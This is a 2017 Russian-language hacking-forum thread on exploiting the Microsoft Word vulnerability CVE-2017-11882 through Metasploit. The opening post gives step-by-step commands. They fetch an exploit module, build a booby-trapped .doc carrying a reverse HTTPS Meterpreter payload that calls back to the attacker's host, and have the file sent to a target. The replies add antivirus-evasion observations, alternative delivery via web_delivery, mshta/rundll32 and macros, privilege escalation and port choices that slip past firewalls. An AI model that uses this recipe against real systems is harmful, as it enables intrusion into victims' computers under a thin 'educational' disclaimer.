PDA

Просмотр полной версии : CVE-2017-11882 MS Word Metasploit


adm2
26.11.2017, 16:37
Добрый день.
Один доллар (@ (https://forum.antichat.xyz/members/579856/)OneDollar (https://forum.antichat.xyz/members/579856/))показал пример эксплуатации уязвимости через Empire Powershell

CVE-2017-11882 или Взлом с помощью безобидного документа (https://forum.antichat.xyz/threads/561234/)

Мы рассмотрим альтернативный вариант через Metasploit:
Скачаем и перенесём експлоит

Код:



wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/39a4d193a17c6f85846a58a429c0914f542bded2/modules/exploits/windows/fileformat/office_ms17_11882.rb
cp office_ms17_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/


Запускаем metasploit и выбираем наш модуль.

Код:



service postgresql start
msfconsole
use exploit/windows/fileformat/office_ms17_11882


Просмотрим информацию о модуле

Код:



info


https://forum.antichat.xyz/attachments/4790325/1.png

Из описания узнаём, что уязвимость существовала на протяжении 17 ЛЕТ! Шикарно, да? Представляете сколько ещё подобного рода CVE неизучено и неизвестно общественности?

Задаём путь, куда metasploit сгенерирует нам файл с нагрузкой

Код:



set FILENAME /root/exp.doc


Можно поставить и *.rtf, отработает и так и так.

Добавляем пейлоад и запускаем

Код:



set payload windows/meterpreter/reverse_https
set lhost 192.168.0.100 (адрес атакующего)
set lport 4443 (как обычно, можете выбирать почти любой)
exploit


Собственно, всё.
Берём файл, отправляем клиенту (себе на виртуалку, ибо в целях образовательных используем информацию мы).
Запускаем, ловим сессию.

https://forum.antichat.xyz/attachments/4790325/2.png

AV так же не стоит на месте
https://nodistribute.com/result/BUZqx1mACKldLr3
На палевность можете даже и не смотреть ибо через месяц тут будет поголовно всё красное =)

Информация дана для ознакомления, спасибо за внимание)

Альтернативный вариант пост эксплуатации через Empire Powershell
CVE-2017-11882 или Взлом с помощью безобидного документа (https://forum.antichat.xyz/threads/561234/)

z3r0c10wn
27.11.2017, 13:59
Test - windows defender with last updates \ Windows Office unpatched -
Дефендер палит нагрузку но уже после выполнения через memory corruption. Соответственно сессию создаст. Хотя сделает вид что запалил.

adm2
27.11.2017, 14:11
За всё время тестов любого ПО я понял, что сессия meterpreter странный предмет, вроде и создана, а вроде и нет =)

z3r0c10wn
27.11.2017, 14:15
OneDollar сказал(а):

Хорошее дополнение, молодец что подметил!

сессия создана будет, но не рабочая..


15 минут назад тестил - сессия работает! Офис не пропатчен, ломаный. Винда офф - дефендер с последними апдейтами.
Сессия активна.

Vander
27.11.2017, 21:23
Windows 8.1, Windows 10 - Все Last Update, дефендер уничтожает полезную нагрузку.

adm2
28.11.2017, 08:09
Vander сказал(а):

Windows 8.1, Windows 10 - Все Last Update, дефендер уничтожает полезную нагрузку.


и это печально)

adm2
28.11.2017, 14:16
TST сказал(а):

У кого встречалась траблы с Empire, когда выполняешь execute:
[!] Invalid listener ID or name.
Как ее обойти либо решить?

Она у тебя просит поднятый листенер)
Выходишь в основное меню

Код:



main
listeners
uselistener http
execute


А потом уже возвращается в стейджер

https://forum.antichat.xyz/attachments/4790617/2017.png

ivanov-sv-2015
29.11.2017, 21:07
При добавлении текста в документ сессия не поднимается. Office 2013. Кто-нибудь сталкивался?

adm2
29.11.2017, 21:28
ivanov-sv-2015 сказал(а):

При добавлении текста в документ сессия не поднимается. Office 2013. Кто-нибудь сталкивался?


Пха-ха) а о внесении изменений в документ я и не задумывался)) действительно сессия не прилетает)
ну ничего) пройдёт неделька, другая обязательно появится решение)

ivanov-sv-2015
29.11.2017, 21:28
OneDollar сказал(а):

скажешь потом что перепутал


Точно!

z3r0c10wn
30.11.2017, 13:42
Если уж играться с последними АВ и другими средствами защиты винды 10ки- стоит обратить внимание на такие классические вещи которые работают как молоток
если говорить за metasploit - exploit/multi/script/web_delivery
если говорить за другие варианты - cmd->mshta->rundll32
Способы доставки - прекрасный макрос в доке работает по прежнему хорошо.
После получения консоли, можно осмотреться в системе и уже пробоваться варианты обхода UAC если есть\ либо другие варианты повышения привилегий. Ну или прогрузить уже другую удобную вам консольку к примеру используя регистрацию в реестре или еще 100500 разных техник.
Но выше указанные две техники на удивление срабатывают там где палятся более сложные на каком нибудь IPSe

______________________________
И еще стоит юзать динамический пул портов. Зачастую много правил фаерволов блокируют все левые не зарегистрированные сервисы на портах до 10 000 . Поэтому вибираем что то в стиле 46553 и уперед!

adm2
13.12.2017, 18:59
llein сказал(а):

Копался в PowerShell и столкнулся с проблемой, связанной с данным сплоитом при использовании powershell. Возможно ли через него скачать с обменника и запустить файл? Если да, то как это реализуется? Пытался через wget по сокращенной ссылке, но не сработало((


Глянь сию серию статей)
https://codeby.net/threads/powershell-dlja-xakera-chast-i.58495/ (https://forum.antichat.xyz/threads/558495/)